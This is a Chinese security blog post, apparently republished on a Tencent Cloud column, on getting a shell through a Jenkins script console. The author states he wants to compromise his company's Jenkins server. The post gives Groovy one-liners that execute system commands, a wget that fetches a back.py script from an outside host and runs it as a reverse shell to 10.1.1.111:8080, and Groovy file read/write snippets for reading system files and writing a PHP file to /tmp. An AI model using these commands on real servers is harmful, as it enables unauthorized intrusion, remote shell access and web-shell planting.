前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Jenkins拿shell方法

Jenkins拿shell方法

作者头像
C4rpeDime
发布2018-09-29 16:21:36
3.8K0
发布2018-09-29 16:21:36
举报
文章被收录于专栏:黑白安全黑白安全

最近一直在学习怎么利用jenkins反序列化,妹的,就是没有一个顺手的GUI工具,能让我直接秒杀服务器。

楼下的小伙伴有好的工具,请给我留言,我要秒了我们公司的jenkins服务器,多谢。。。。

关于反序列化的问题,如果不懂java就是苦逼,小弟我就是这样的苦逼,这个先放一边,先把jenkins拿shell的方法整理一下。

文章来自安全脉搏,略有改动,更加精简。。。

Jenkins拿shell方法 渗透测试 第1张
Jenkins拿shell方法 渗透测试 第1张

一、Jenkins未授权访问可执行命令

命令执行的话,是需要有相关用户权限的,具体的位置在下图中:

Jenkins拿shell方法 渗透测试 第2张
Jenkins拿shell方法 渗透测试 第2张

在脚本命令行中输入下面的语句,即可执行相应的命令:

1

println "ipconfig /all".execute().text

推荐上面的这种方式,比较简洁。。

1

def sout = new StringBuffer(), serr = new StringBuffer()

2

def proc = 'ipconfig'.execute()

3

proc.consumeProcessOutput(sout, serr)

4

proc.waitForOrKill(1000)

5

println "out> $sout err> $serr"

老外的方式,比较正式一点。。

下面的截图是执行后的结果,就像在CMD中执行是一样的效果。

Jenkins拿shell方法 渗透测试 第3张
Jenkins拿shell方法 渗透测试 第3张

二、Jenkins拿shell方法

1、直接wget下载back.py反弹shell,如下:

1

println "wget http://www.waitalone.cn/tools/back.py -P /tmp/".execute().text

2

println "python /tmp/back.py 10.1.1.111 8080".execute().text

2、多种方式写shell

01

Groovy I/O 文件读写

02

03

读文件

04

new File("/tmp/back.py").getText();

05

new File("c:/windows/win.ini").getText();

06

07

//eachLine -- 打开和读取文件的每一行

08

new File("/tmp/back.py").eachLine {

09

println it;

10

}

11

12

//readLines

13

lineList = new File("/tmp/back.py").readLines();

14

lineList.each {

15

println it.toUpperCase();

16

}

17

18

write轻轻松松写文件

19

new File("/tmp/1.php").write('Hello SecPulse');

20

21

多行写入

22

new File("/tmp/1.php").write("""

23

This is

24

just a test file

25

to play with

26

""");

添加收藏

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档